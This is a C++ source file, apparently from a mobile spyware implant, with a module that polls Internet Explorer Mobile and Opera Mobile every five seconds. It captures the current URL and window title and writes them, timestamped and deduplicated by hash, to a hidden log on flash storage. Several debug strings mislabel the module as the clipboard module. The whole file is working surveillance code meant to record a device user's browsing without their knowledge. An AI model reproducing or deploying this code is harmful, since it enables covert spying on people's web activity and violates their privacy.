Mornella/Mornella_Mobile/UrlCatcher.cpp
#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include "Url.h"
DWORD WINAPI UrlModule(LPVOID lpParam) {
Module *me = (Module *)lpParam;
HANDLE moduleHandle;
wstring strIEUrl, strIE65Url, strOperaUrl, strIEOld, strIE65Old, strOperaOld;
wstring strTitle;
BOOL bEmpty = TRUE;
INT iRet;
UINT uMarkupLen, uHash = 0, uNewHash;
BYTE *pMarkup;
SYSTEMTIME st;
DWORD dw, dwMarker = LOG_URL_MARKER;
WCHAR wNull = 0;
struct tm mytm;
Log log;
me->setStatus(MODULE_RUNNING);
moduleHandle = me->getEvent();
DBG_TRACE(L"Debug - UrlCatcher.cpp - Url Module is Alive\n", 5, FALSE);
if (log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH) == FALSE) {
me->setStatus(MODULE_STOPPED);
return 0;
}
// Inizializziamo uHash con l'hash dell'ultimo URL preso
pMarkup = log.ReadMarkup(MODULE_URL, &uMarkupLen);
if (pMarkup && uMarkupLen == 4)
CopyMemory(&uHash, pMarkup, sizeof(uHash));
if (pMarkup) {
delete[] pMarkup;
pMarkup = NULL;
}
LOOP {
do {
iRet = GetIE60Url(strIEUrl, strTitle, moduleHandle);
// Dobbiamo fermarci
if (iRet < 0) {
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);
log.CloseLog(bEmpty);
me->setStatus(MODULE_STOPPED);
return 0;
}
if (me->shouldCycle()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);
log.CloseLog(bEmpty);
log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
bEmpty = TRUE;
continue;
}
}
// Calcoliamo l'hash dell'URL attuale
uNewHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
if (iRet && uNewHash != uHash && strIEUrl != strIEOld) {
GetSystemTime(&st);
SET_TIMESTAMP(mytm, st);
if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
bEmpty = FALSE;
log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
log.WriteLog((BYTE *)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il tipo di browser
dw = 1; // IE
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo il titolo della finestra + NULL
if (strTitle.empty())
strTitle = L"UNKNOWN";
log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il delimitatore
dw = LOG_DELIMITER;
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo l'hash dell'URL attuale nel markup
uHash = FnvHash((PBYTE)strIEUrl.c_str(), strIEUrl.size() * sizeof(WCHAR));
log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));
strIEOld = strIEUrl;
}
} while(0);
do {
iRet = GetIE65Url(strIE65Url, strTitle, moduleHandle);
// Dobbiamo fermarci
if (iRet < 0) {
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);
log.CloseLog(bEmpty);
me->setStatus(MODULE_STOPPED);
return 0;
}
if (me->shouldCycle()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);
log.CloseLog(bEmpty);
log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
bEmpty = TRUE;
continue;
}
}
// Calcoliamo l'hash dell'URL attuale
uNewHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
if (iRet && uNewHash != uHash && strIE65Url != strIE65Old) {
GetSystemTime(&st);
SET_TIMESTAMP(mytm, st);
if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
bEmpty = FALSE;
log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
log.WriteLog((BYTE *)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il tipo di browser
dw = 1; // IE
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo il titolo della finestra + NULL
if (strTitle.empty())
strTitle = L"UNKNOWN";
log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il delimitatore
dw = LOG_DELIMITER;
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo l'hash dell'URL attuale nel markup
uHash = FnvHash((PBYTE)strIE65Url.c_str(), strIE65Url.size() * sizeof(WCHAR));
log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));
strIE65Old = strIE65Url;
}
} while(0);
do {
iRet = GetOperaUrl(strOperaUrl, strTitle, moduleHandle);
// Dobbiamo fermarci
if (iRet < 0) {
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);
log.CloseLog(bEmpty);
me->setStatus(MODULE_STOPPED);
return 0;
}
if (me->shouldCycle()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);
log.CloseLog(bEmpty);
log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
bEmpty = TRUE;
continue;
}
}
// Calcoliamo l'hash dell'URL attuale
uNewHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
if (iRet && uNewHash != uHash && strOperaUrl != strOperaOld) {
GetSystemTime(&st);
SET_TIMESTAMP(mytm, st);
if (log.WriteLog((BYTE *)&mytm, sizeof(mytm)))
bEmpty = FALSE;
log.WriteLog((BYTE *)&dwMarker, sizeof(dwMarker));
log.WriteLog((BYTE *)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il tipo di browser
dw = 3; // Opera-Mobile
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo il titolo della finestra + NULL
if (strTitle.empty())
strTitle = L"UNKNOWN";
log.WriteLog((BYTE *)strTitle.c_str(), WideLen((PWCHAR)strTitle.c_str()));
log.WriteLog((BYTE *)&wNull, sizeof(WCHAR)); // Scriviamo UN byte di NULL
// Scriviamo il delimitatore
dw = LOG_DELIMITER;
log.WriteLog((BYTE *)&dw, sizeof(dw));
// Scriviamo l'hash dell'URL attuale nel markup
uHash = FnvHash((PBYTE)strOperaUrl.c_str(), strOperaUrl.size() * sizeof(WCHAR));
log.WriteMarkup(MODULE_URL, (PBYTE)&uHash, sizeof(uHash));
strOperaOld = strOperaUrl;
}
} while(0);
WaitForSingleObject(moduleHandle, 5000);
if (me->shouldStop()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module is Closing\n", 1, FALSE);
log.CloseLog(bEmpty);
me->setStatus(MODULE_STOPPED);
return 0;
}
if (me->shouldCycle()) {
DBG_TRACE(L"Debug - Clipboard.cpp - Clipboard Module, log cycling\n", 1, FALSE);
log.CloseLog(bEmpty);
log.CreateLog(LOGTYPE_URL, NULL, 0, FLASH);
}
}
return TRUE;
}